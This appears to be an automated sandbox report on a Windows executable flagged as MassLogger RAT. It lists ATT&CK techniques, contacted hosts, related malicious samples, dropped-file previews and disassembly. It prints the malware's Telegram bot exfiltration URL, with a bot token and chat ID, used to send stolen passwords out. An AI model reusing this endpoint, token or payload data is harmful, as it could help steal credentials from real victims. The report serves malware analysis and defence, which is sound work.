Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	21 Access Token Manipulation	1 DLL Side-Loading	NTDS	127 System Information Discovery	Distributed Component Object Model	21 Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	212 Process Injection	2 Valid Accounts	LSA Secrets	231 Security Software Discovery	SSH	3 Clipboard Data	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Virtualization/Sandbox Evasion	Cached Domain Credentials	11 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	21 Access Token Manipulation	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	212 Process Injection	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
y1jQC8Y6bP.exe	71%	ReversingLabs	Win32.Ransomware.MassLoggerRAT
y1jQC8Y6bP.exe	55%	Virustotal		Browse
y1jQC8Y6bP.exe	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Reputation
reallyfreegeoip.org	104.21.80.1	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	193.122.130.0	true	false	high
checkip.dyndns.org	unknown	unknown	false	high
171.39.242.20.in-addr.arpa	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://checkip.dyndns.org/	false	high
https://reallyfreegeoip.org/xml/8.46.123.189	false	high
https://api.telegram.org/bot7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg/sendDocument?chat_id=5839829477&caption=user%20/%20Passwords%20/%208.46.123.189	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://api.telegram.org	RegSvcs.exe, 00000002.00000002.3723875878.000000000306B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot	RegSvcs.exe, 00000002.00000002.3723875878.000000000306B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg/sendDocument?chat_id=5839	RegSvcs.exe, 00000002.00000002.3723875878.000000000306B000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org/q	y1jQC8Y6bP.exe, 00000000.00000002.1256149687.00000000011D0000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3721812954.0000000000402000.00000040.80000000.00040000.00000000.sdmp	false	high
http://reallyfreegeoip.org	RegSvcs.exe, 00000002.00000002.3723875878.0000000002FB2000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org	RegSvcs.exe, 00000002.00000002.3723875878.0000000002F90000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org	RegSvcs.exe, 00000002.00000002.3723875878.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3723875878.000000000306B000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3723875878.0000000002F90000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.com	RegSvcs.exe, 00000002.00000002.3723875878.0000000002F90000.00000004.00000800.00020000.00000000.sdmp	false	high
http://api.telegram.org	RegSvcs.exe, 00000002.00000002.3723875878.000000000306B000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	RegSvcs.exe, 00000002.00000002.3723875878.0000000002F11000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot-/sendDocument?chat_id=	y1jQC8Y6bP.exe, 00000000.00000002.1256149687.00000000011D0000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3721812954.0000000000402000.00000040.80000000.00040000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/	y1jQC8Y6bP.exe, 00000000.00000002.1256149687.00000000011D0000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3721812954.0000000000402000.00000040.80000000.00040000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3723875878.0000000002F90000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
193.122.130.0	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
104.21.80.1	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588011
Start date and time:	2025-01-10 20:30:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	y1jQC8Y6bP.exe renamed because original name is a hash value
Original Sample Name:	0487de8a46d306ea67cb86123e7457ac110a6915788fc408e1dbed914df0d615.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/4@4/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 56 Number of non-executed functions: 278
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, sppsvc.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.45, 4.175.87.197, 20.242.39.171, 20.109.210.53
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
14:31:17	API Interceptor	11064594x Sleep call for process: RegSvcs.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	RubzLi27lr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	6mllsKaB2q.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse
	YJwE2gTm02.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	AHSlIDftf1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	eLo1khn7DQ.exe	Get hash	malicious	MassLogger RAT	Browse
	MzqLQjCwrw.exe	Get hash	malicious	MassLogger RAT	Browse
193.122.130.0	zAK7HHniGW.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	B3aqD8srjF.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	VIAmJUhQ54.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	bd9Gvqt6AK.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Salary Payment Information Discrepancy_pdf.pif.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	checkip.dyndns.org/
	RFQ SHEETS PX2 MULE25 SHENZHEN LUCKY.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Tepe - 20000000826476479.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	SOA NOV. Gateway Freight_MEDWA0577842.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	dekont garanti bbva_Ba#U015fka Bankaya Transfer 01112 img .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Tepe - 20000000826476479.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
checkip.dyndns.com	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.6.168
	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.8.169
	CvzLvta2bG.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	132.226.8.169
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.6.168
	FPACcnxAUT.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.6.168
	jxy62Zm6c4.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	RubzLi27lr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	YJwE2gTm02.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	xom6WSISuh.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	132.226.8.169
reallyfreegeoip.org	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.64.1
	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.96.1
	CvzLvta2bG.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.32.1
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.96.1
	FPACcnxAUT.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
	jxy62Zm6c4.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	RubzLi27lr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.16.1
	YJwE2gTm02.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	xom6WSISuh.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.112.1
api.telegram.org	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	RubzLi27lr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	6mllsKaB2q.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	149.154.167.220
	YJwE2gTm02.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	AHSlIDftf1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	eLo1khn7DQ.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	MzqLQjCwrw.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	RubzLi27lr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	6mllsKaB2q.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	149.154.167.220
	YJwE2gTm02.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	AHSlIDftf1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	eLo1khn7DQ.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	MzqLQjCwrw.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
CLOUDFLARENETUS	AuKUol8SPU.exe	Get hash	malicious	FormBook	Browse	104.21.48.233
	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.64.1
	EIvidclKOb.exe	Get hash	malicious	FormBook	Browse	172.67.137.47
	ht58337iNC.exe	Get hash	malicious	GuLoader	Browse	172.67.152.246
	wWXR5js3k2.exe	Get hash	malicious	FormBook	Browse	188.114.97.3
	https://probashkontho.com/work/Organization/privacy/index_.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	psibx9rXra.exe	Get hash	malicious	FormBook	Browse	23.227.38.74
	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.96.1
	invoice_AG60538.pdf	Get hash	malicious	Unknown	Browse	172.64.41.3
	CvzLvta2bG.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.32.1
ORACLE-BMC-31898US	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.6.168
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.6.168
	FPACcnxAUT.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.6.168
	jxy62Zm6c4.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	RubzLi27lr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	YJwE2gTm02.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	AHSlIDftf1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	MzqLQjCwrw.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	SBkuP3ACSA.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.80.1
	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.80.1
	CvzLvta2bG.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.80.1
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.80.1
	FPACcnxAUT.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.80.1
	jxy62Zm6c4.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.80.1
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.80.1
	RubzLi27lr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.80.1
	YJwE2gTm02.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.80.1
	xom6WSISuh.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.80.1
3b5074b1b5d032e5620f69f9f700ff0e	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	s2Jg1MAahY.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	MqzEQCpFAY.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	RubzLi27lr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	MqzEQCpFAY.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	6mllsKaB2q.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	149.154.167.220
	YJwE2gTm02.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

Process:	C:\Users\user\Desktop\y1jQC8Y6bP.exe
File Type:	data
Category:	dropped
Size (bytes):	63390
Entropy (8bit):	7.8928084840077455
Encrypted:	false
SSDEEP:	1536:6l1GtKdtHJtUu6NRXOCJkQuttQym2Y/RmfFLg+YA:6zGtKL1ER+C2Q2Qy7Qc
MD5:	D1FD6F673379A4E4E76F74E3B87E7B05
SHA1:	8FD64FF367F2CEF788AE5CA6CDBE95BDE5F86606
SHA-256:	4BE920A74580C7658FD9441EBD8094EDC95D9B51C3AD4D8BEF1565155D1C0151
SHA-512:	19AA4BC89938CE92D45905DBEE2758510A748584DDC98F6F54294F2C23EC1807E3F21313A8B1FB4035572890B3E75696DC00CD087997F6FD46AA9C923CC2DF28
Malicious:	false
Reputation:	low
Preview:	EA06..n..E4T..ZaV...T.>.D.Ng.i...1..&...:eA....P..D........gf.8N....c.F...3.......(qZ..CU..q..Rs\.K,....M.Fe.8...f..$5i$v.=.D@.3..N&.Z%:c.P0.........?D.Wg3i.4...~d.3..F.y.....U. ....1..Ffn.Q.%:.V..Tb.0..'4...gF..dT..P.....N.........S.........e.t.....1...Wy.6..9.lBk1...v.0.O$@...OL..@.......\|1.-6.k.Q.u....S.....p..@.>..Za...j.....D..88P.Bd.8H.`...Zs8..T\|\|^...O.G......1.......d.)[..\...)....a+.Vw~N.W....b.O.Pf.....`..x.3.hp..`.8...\.s2`..d.8R... ..~..+...l.s4..BS9...v9..3..L.s;..K.....->.R.F...6gE.LhQ...gU..$.jmb..U.3.,r.M..f.Y...h..5.j..).X(..uZu....U.-5..n.....Mj...z.O..#s.....F.t)%:eG..&.i..wM.Q....B9'..nTY..7..Hh3:.n....+5.%..V....-6kn.G.tz...}._".-6.@.Q/...Rs7..h...z..........q.['4i..I...Y..........2.....Z#k.Nht..Fa5..l.z..0.C...b.I._......g..i.i....Sl....I3..)..D...pO....Ss}../....2..x.Zs>.Da4..a..Ni.J.n10.L.....a.Tl.:,.g1...F(D...V(.Z%RuE..T4.l\|...E.uJ].kW.Yg....w......\|.o........G5..9.....8.q....o2.C.#...Wv..7.u>...K@..\|.qd..)...:......

C:\Users\user\AppData\Local\Temp\autD251.tmp

Download File

Process:	C:\Users\user\Desktop\y1jQC8Y6bP.exe
File Type:	data
Category:	dropped
Size (bytes):	9704
Entropy (8bit):	7.59550622375419
Encrypted:	false
SSDEEP:	192:c09SJLZ7jNO7shZm6qrfQpHWekxlM45ohi5H/poEEPGV+jkSQjRYQemg6q3phJrs:X9SJtj7mXTG2KPhlSaklte1VprYL
MD5:	1D927F4C3E7DDF5807246B5571CD794E
SHA1:	72D873A1EF79E86377FD64EAFB56A206E14A5DEA
SHA-256:	0281F82999F0B0CDF042675B91CA111F2F199E22A1FB5DAEE22BA0DD35A1FC5A
SHA-512:	39B97B7C2DABADF077CAF526F9BEDCDBD166DA7A378D95A5D2F5736107C07DDFACEDED7765FDCAF1C00AF819E776DA9C6459D5DC38AE3C483C35C92F334D5712
Malicious:	false
Reputation:	low
Preview:	EA06..p..L&.[...e....;..`....y...b.......s8..&...j.%.$.m8..Sp.N.g.....m.X@..K...c.$....lL.`..Ng6)...l.I...b....4..,S@..l.l.-z..f.6\|v...Qc.0.......q4.Y..k..h......c ._..p.1....qa.H....9..$l.3..Y@.6...$.a5.H.f@.....\|3....fs9..%d.M...5...&.@.@.K.I.....Y.x>9.....Y.j.;.......j.;-....Y@j.9.....K,..1...'.`....\|.....,S`..N,`...H.......\|....F. ,_...c3..........;..:&.>_L.n....f.G_T......\|.).......&.....8...&V....ia...=.....Y......&..`.l..\|.[.....Yl ....ab...,@....ib........h.._..@...3\|.P.o.ac.....+.....N.i\|sk....8..4\|.0...c....7....k ..7.X..TD....M&`....g....,,`....>.Y...$.@&....L&.P.....32.\|&.G%......h...,..33.%.....BS...Nf......f.4.L,.9."....Bvp.Y...ffS{$..d..,.@8@.......@.3d.L..k4.h..M.B:.Y...fg6.;.ab....98.L..:.....of.L.*..Fp........36.Y&.k,.b...' !...,t.33.4.c2.X.M....#......j.d...[..%3.....c....M'6...ic....!..,..3 k..p....@...L&..........., ....#......f.8.X..K..`....zn........0{.k7....!..,...S.%..9..J@^@.G'.......aa.M..)LM@B:.Y...ffS...r....@...N@.:.....n..Mf@....

C:\Users\user\AppData\Local\Temp\outbluffed

Download File

Process:	C:\Users\user\Desktop\y1jQC8Y6bP.exe
File Type:	data
Category:	dropped
Size (bytes):	93696
Entropy (8bit):	6.842043131475437
Encrypted:	false
SSDEEP:	1536:M/vBNUNr6q5wM5HxvyGO3Yssi58B8qieSdLuL6s6Db8U:CJKvyGOHj582qie2Jsab8U
MD5:	801F703EFF71D6895E54F47DD8ADDEC0
SHA1:	9F65A02088B20A8A58AE8F452E2BE07E8EFA90BA
SHA-256:	F4DCCC08EFDCBE1D22DC40D8CC53C890E39C4FA368DBECA4CBC01215863BFD0F
SHA-512:	969CECF59C6222A3B8990F0F3655D02FDDB0B56E8444795845CEDD3EB059FDAD51A485648585010443FA195857667D5F525D02313B0B086CB670B2B1D5060C87
Malicious:	false
Reputation:	low
Preview:	t..A0V0V1W2M..OD.9869EM1.0519N2A3V0V5W2MXDODV9869EM1E0519N2A.V0V;H.CX.F.w.9z.d.Y,C.AK!U3R;.5T9\",d-!vKMX.,#...f.T!V$.[=\.W2MXDOD.\|86uDN1..@.9N2A3V0V.W0LSE.DV]969MM1E0517.3A3v0V5.3MXD.DV.869GM1A0519N2A7V0V5W2MX.NDV;869EM1G0u.9N"A3F0V5W"MXTODV986)EM1E0519N2A..1V~W2MX.ND.<869EM1E0519N2A3V0V5.3MTDODV9869EM1E0519N2A3V0V5W2MXDODV9869EM1E0519N2A3V0V5w2MPDODV9869EM1M.51qN2A3V0V5W2Mv0<"986-'L1E.5193A3T0V5W2MXDODV986.EMQkBFCZN2A.S0V5.3MXBODV_969EM1E0519N2AsV0..%W!7'ODZ9869.L1E2519"3A3V0V5W2MXDOD.98t9EM1E0519N2A3V0V..3MXDOD.986;EH1].51..2A0V0VoW2K8.OD.9869EM1E0519N2A3V0V5W2MXDODV9869EM1E0519N2A.+.Y...$+.DV9869DO2A6=99N2A3V0VKW2M.DOD.986.EM1`051TN2A.V0VKW2M&DOD2986KEM1$051~N2A\V0V[W2M&DODH;.)9EG.c07..N2K3\|.%.W2G.EODRJ.69O.3E01B.N2K.U0V1$.MXN.@V9<E.EM;.551=dhA0.&P5W)"`DONV:.#?EMo.53.w2A9V.p5T.X^DO_\|.84.LM1A.cB$N2G..0V?#;MXF.NV9<.'GerE0?..0!A3R.V.uLYXDKoV..H,EM5n0..GX2A7}0\|.)%MX@dD\|?.T97.=E@6^XN2G..0V?.rMXBOnl9F89EI3.513h..3~zV5Q2e.DOBV.k69CM..0579fgA3P0\|.W..XDID~h86?Eg.EN.19J.FMe0V1\|$3iDO@.?@6

C:\Users\user\AppData\Local\Temp\reaffection

Download File

Process:	C:\Users\user\Desktop\y1jQC8Y6bP.exe
File Type:	ASCII text, with very long lines (28674), with no line terminators
Category:	modified
Size (bytes):	28674
Entropy (8bit):	3.5872815710992545
Encrypted:	false
SSDEEP:	768:G3i/SSrP7rV0ZHGOYWJwp5JQ6VYLyzl12fna1uLphM:UiaSrP7atGOzKuLDM
MD5:	59DEEDB975E6F6BF94787B6CD4F08D1D
SHA1:	D5A5784EEFFD01E43CFCEB859D99FE8C2152C299
SHA-256:	18A1B7B0A61F95B582CBBD380F0A0DC0099FFD048A1606ABB42F09A08E0BBB63
SHA-512:	5D29386AD6831DE853E11889700A682F7F1359302CAEDDB8C5DF5E0BDDEF1C16550F844E9EE6894173EAFFA02798A87AC733012F09FBC8E713461104A320B5EE
Malicious:	false
Reputation:	low
Preview:	x055b8ce18cecc20000065758bb6000000669854489b560000006698d468ab27000000669855888be6000000669854a89b560000006698d4c8abc6000000669855e88b33000000669854099b230000006698d429abe2000000669855498b46000000669854699bc60000006698d489abc6000000669855a9330c669854c99be60000006698d844ffffffab4700000066985964ffffff8b4600000066985884ffffff9bc60000006698d8a4ffffffabc6000000669859c4ffffff8be2000000669858e4ffffff9b460000006698d805ffffffabc600000066985925ffffff8bc600000066985845ffffff339c6698d865ffffffab570000006698550d8b370000006698542d9b560000006698d44dab270000006698556d8b330000006698548d9b230000006698d4adabe2000000669855cd8b46000000669854ed9bc60000006698d40eabc60000006698552e330c6698544e9b160000006698d886ffffffab46000000669859a6ffffff8b67000000669858c6ffffff9b160000006698d8e6ffffffab0700000066985907ffffff8b9600000066985827ffffff9b330000006698d847ffffffab2300000066985967ffffff8be200000066985887ffffff9b460000006698d8a7ffffffabc6000000669859c7ffffff8bc6000000669858e7ffffff339c6698d408ab370000006698550a8b86

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.818123647933057
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	y1jQC8Y6bP.exe
File size:	950'784 bytes
MD5:	71433d92643320e4c7a9e30c1120961d
SHA1:	d69bdac013b4b9dadf043d388d4b9038bb35adb5
SHA256:	0487de8a46d306ea67cb86123e7457ac110a6915788fc408e1dbed914df0d615
SHA512:	6e23edbdbd83b32b12e9ccf05cdb68153690929fa9566c61eadb7b2a7472d77836685f5f0b0c1f736323385c79b5240ffc0774bf36715ac38897c7b46b1e5961
SSDEEP:	24576:Tu6J33O0c+JY5UZ+XC0kGso6Fae8kHszBWY:9u0c++OCvkGs9Fae8kjY
TLSH:	B615AD2273DDC360CB769173BF6AB7016EBF38614630B95B2F980D7DA950162162C7A3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6...r}..r}..r}..4,".p}......s}.../..A}.../#..}.../".G}..{.@.{}..{.P.W}..r}..R.....)."}......s}.../..s}..r}T.s}......s}..Richr}.

File Icon


Icon Hash:	aaf3e3e3938382a0

Static PE Info

General

Entrypoint:	0x427dcd
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x675B7440 [Thu Dec 12 23:39:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	afcdf79be1557326c854b6e20cb900a7

Entrypoint Preview

Instruction
call 00007FCF14D5051Ah
jmp 00007FCF14D432E4h
int3
int3
int3
int3
int3
int3
int3
int3
int3
push edi
push esi
mov esi, dword ptr [esp+10h]
mov ecx, dword ptr [esp+14h]
mov edi, dword ptr [esp+0Ch]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007FCF14D4346Ah
cmp edi, eax
jc 00007FCF14D437CEh
bt dword ptr [004C31FCh], 01h
jnc 00007FCF14D43469h
rep movsb
jmp 00007FCF14D4377Ch
cmp ecx, 00000080h
jc 00007FCF14D43634h
mov eax, edi
xor eax, esi
test eax, 0000000Fh
jne 00007FCF14D43470h
